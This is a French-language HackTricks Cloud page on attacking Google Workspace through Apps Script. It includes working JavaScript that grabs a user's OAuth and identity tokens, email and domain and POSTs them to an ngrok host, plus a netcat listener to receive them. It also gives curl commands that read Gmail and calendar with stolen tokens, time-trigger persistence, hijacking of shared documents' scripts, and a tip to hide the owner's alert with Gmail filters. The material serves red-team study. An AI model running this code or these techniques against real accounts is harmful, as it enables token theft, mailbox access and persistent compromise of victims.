GWS - App Scripts
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
App Scripts
App Scripts est un code qui sera dĂ©clenchĂ© lorsquâun utilisateur ayant des droits dâĂ©diteur accĂšde au document auquel lâApp Script est liĂ© et aprĂšs avoir acceptĂ© lâinvite OAuth.
Ils peuvent Ă©galement ĂȘtre configurĂ©s pour ĂȘtre exĂ©cutĂ©s Ă intervalles rĂ©guliers par le propriĂ©taire de lâApp Script (Persistance).
Créer un App Script
Il existe plusieurs façons de crĂ©er un App Script, bien que les plus courantes soient Ă partir dâun Document Google (de tout type) et en tant que projet autonome :
Créer un projet lié au conteneur à partir de Google Docs, Sheets ou Slides
- Ouvrez un document Docs, une feuille de calcul Sheets ou une présentation Slides.
- Cliquez sur Extensions > Google Apps Script.
- Dans lâĂ©diteur de script, cliquez sur Projet sans titre.
- Donnez un nom Ă votre projet et cliquez sur Renommer.
Créer un projet autonome
Pour crĂ©er un projet autonome Ă partir dâApps Script :
- Allez sur
script.google.com. - Cliquez sur Nouveau projet.
- Dans lâĂ©diteur de script, cliquez sur Projet sans titre.
- Donnez un nom Ă votre projet et cliquez sur Renommer.
Créer un projet autonome à partir de Google Drive
- Ouvrez Google Drive.
- Cliquez sur Nouveau > Plus > Google Apps Script.
Créer un projet lié au conteneur à partir de Google Forms
- Ouvrez un formulaire dans Google Forms.
- Cliquez sur Plus more_vert > Ăditeur de script.
- Dans lâĂ©diteur de script, cliquez sur Projet sans titre.
- Donnez un nom Ă votre projet et cliquez sur Renommer.
Créer un projet autonome en utilisant l'outil en ligne de commande clasp
clasp est un outil en ligne de commande qui vous permet de créer, tirer/pousser et déployer des projets Apps Script depuis un terminal.
Voir le Guide de lâinterface en ligne de commande utilisant clasp pour plus de dĂ©tails.
Scénario App Script
Créer une feuille Google avec App Script
Commencez par crĂ©er un App Script, ma recommandation pour ce scĂ©nario est de crĂ©er une feuille Google et dâaller Ă Extensions > App Scripts, cela ouvrira un nouvel App Script pour vous liĂ© Ă la feuille.
Token de fuite
Pour donner accĂšs au token OAuth, vous devez cliquer sur Services + et ajouter des scopes comme :
- AdminDirectory : AccĂ©der aux utilisateurs et groupes du rĂ©pertoire (si lâutilisateur a suffisamment de permissions)
- Gmail : Pour accéder aux données Gmail
- Drive : Pour accéder aux données Drive
- Google Sheets API : Pour que cela fonctionne avec le déclencheur
Pour changer vous-mĂȘme les scopes nĂ©cessaires, vous pouvez aller dans les paramĂštres du projet et activer : Afficher le fichier manifeste "appsscript.json" dans l'Ă©diteur.
function getToken() {
var userEmail = Session.getActiveUser().getEmail()
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1)
var oauthToken = ScriptApp.getOAuthToken()
var identityToken = ScriptApp.getIdentityToken()
// Data json
data = {
oauthToken: oauthToken,
identityToken: identityToken,
email: userEmail,
domain: domain,
}
// Send data
makePostRequest(data)
// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions
// To ask for AdminDirectory permissions
var pageToken = ""
page = AdminDirectory.Users.list({
domain: domain, // Use the extracted domain
orderBy: "givenName",
maxResults: 100,
pageToken: pageToken,
})
// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10)
// To ask for drive permissions
var files = DriveApp.getFiles()
}
function makePostRequest(data) {
var url = "http://5.tcp.eu.ngrok.io:12027"
var options = {
method: "post",
contentType: "application/json",
payload: JSON.stringify(data),
}
try {
UrlFetchApp.fetch(url, options)
} catch (e) {
Logger.log("Error making POST request: " + e.toString())
}
}
Pour capturer la requĂȘte, vous pouvez simplement exĂ©cuter :
ngrok tcp 4444
nc -lv 4444 #macOS
Permissions demandées pour exécuter le App Script :
.png)
Warning
Comme une demande externe est faite, lâinvite OAuth demandera Ă©galement la permission dâatteindre des points de terminaison externes.
Créer un déclencheur
Une fois que lâApp est lue, cliquez sur â° DĂ©clencheurs pour crĂ©er un dĂ©clencheur. Comme fonction Ă exĂ©cuter, choisissez getToken, sâexĂ©cute au dĂ©ploiement Head, dans la source dâĂ©vĂ©nement sĂ©lectionnez From spreadsheet et le type dâĂ©vĂ©nement sĂ©lectionnez On open ou On edit (selon vos besoins) et enregistrez.
Notez que vous pouvez vĂ©rifier les exĂ©cutions des App Scripts dans lâonglet ExĂ©cutions si vous souhaitez dĂ©boguer quelque chose.
Partage
Pour dĂ©clencher le App Script, la victime doit se connecter avec AccĂšs Ăditeur.
Tip
Le token utilisĂ© pour exĂ©cuter le App Script sera celui du crĂ©ateur du dĂ©clencheur, mĂȘme si le fichier est ouvert en tant quâĂditeur par dâautres utilisateurs.
Abuser des documents Partagés avec Moi
Caution
Si quelquâun vous a partagĂ© un document avec des App Scripts et un dĂ©clencheur utilisant le Head du App Script (pas un dĂ©ploiement fixe), vous pouvez modifier le code du App Script (ajoutant par exemple les fonctions de vol de token), y accĂ©der, et le App Script sera exĂ©cutĂ© avec les permissions de lâutilisateur qui vous a partagĂ© le document ! (notez que le token OAuth du propriĂ©taire aura comme scopes dâaccĂšs ceux donnĂ©s lors de la crĂ©ation du dĂ©clencheur).
Une notification sera envoyĂ©e au crĂ©ateur du script indiquant que quelquâun a modifiĂ© le script (Que diriez-vous dâutiliser les permissions gmail pour gĂ©nĂ©rer un filtre afin de prĂ©venir lâalerte ?)
Tip
Si un attaquant modifie les scopes du App Script, les mises Ă jour ne seront pas appliquĂ©es au document jusquâĂ ce quâun nouveau dĂ©clencheur avec les changements soit créé. Par consĂ©quent, un attaquant ne pourra pas voler le token du propriĂ©taire crĂ©ateur avec plus de scopes que celui quâil a dĂ©fini dans le dĂ©clencheur quâil a créé.
Copier au lieu de partager
Lorsque vous créez un lien pour partager un document, un lien similaire à celui-ci est créé : https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit
Si vous changez la fin â/editâ pour â/copyâ, au lieu dây accĂ©der, Google vous demandera si vous souhaitez gĂ©nĂ©rer une copie du document :
.png)
Si lâutilisateur le copie et y accĂšde, Ă la fois les contenus du document et les App Scripts seront copiĂ©s, cependant les dĂ©clencheurs ne le sont pas, donc rien ne sera exĂ©cutĂ©.
Partager en tant quâapplication Web
Notez quâil est Ă©galement possible de partager un App Script en tant quâapplication Web (dans lâĂditeur du App Script, dĂ©ployez en tant quâapplication Web), mais une alerte comme celle-ci apparaĂźtra :
.png)
Suivie de lâinvite OAuth typique demandant les permissions nĂ©cessaires.
Test
Vous pouvez tester un token recueilli pour lister les emails avec :
curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"
Lister le calendrier de lâutilisateur :
curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"
App Script comme Persistance
Une option pour la persistance serait de crĂ©er un document et dâajouter un dĂ©clencheur pour la fonction getToken et de partager le document avec lâattaquant afin que chaque fois que lâattaquant ouvre le fichier, il exfiltre le token de la victime.
Il est Ă©galement possible de crĂ©er un App Script et de le faire dĂ©clencher toutes les X minutes (comme chaque minute, heure, jourâŠ). Un attaquant qui a compromis des identifiants ou une session dâune victime pourrait dĂ©finir un dĂ©clencheur temporel pour lâApp Script et exfiltrer un token OAuth trĂšs privilĂ©giĂ© chaque jour :
Il suffit de crĂ©er un App Script, dâaller dans DĂ©clencheurs, de cliquer sur Ajouter un dĂ©clencheur, et de sĂ©lectionner comme source dâĂ©vĂ©nement BasĂ© sur le temps et de choisir les options qui vous conviennent le mieux :
.png)
Caution
Cela crĂ©era un e-mail dâalerte de sĂ©curitĂ© et un message push sur votre mobile vous alertant Ă ce sujet.
Contournement de lâinvite non vĂ©rifiĂ©e du document partagĂ©
De plus, si quelquâun vous a partagĂ© un document avec accĂšs Ă©diteur, vous pouvez gĂ©nĂ©rer des App Scripts Ă lâintĂ©rieur du document et le PROPRIĂTAIRE (crĂ©ateur) du document sera le propriĂ©taire de lâApp Script.
Warning
Cela signifie que le crĂ©ateur du document apparaĂźtra comme crĂ©ateur de tout App Script que quiconque avec un accĂšs Ă©diteur crĂ©e Ă lâintĂ©rieur.
Cela signifie Ă©galement que lâApp Script sera de confiance par lâenvironnement Workspace du crĂ©ateur du document.
Caution
Cela signifie Ă©galement que si un App Script existait dĂ©jĂ et que des personnes ont accordĂ© lâaccĂšs, quiconque ayant la permission Ăditeur sur le document peut le modifier et abuser de cet accĂšs.
Pour abuser de cela, vous avez Ă©galement besoin que des personnes dĂ©clenchent lâApp Script. Et un truc astucieux est de publier le script en tant quâapplication web. Lorsque les personnes qui ont dĂ©jĂ accordĂ© lâaccĂšs Ă lâApp Script accĂšdent Ă la page web, elles dĂ©clencheront lâApp Script (cela fonctionne Ă©galement en utilisant des balises<img>).
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

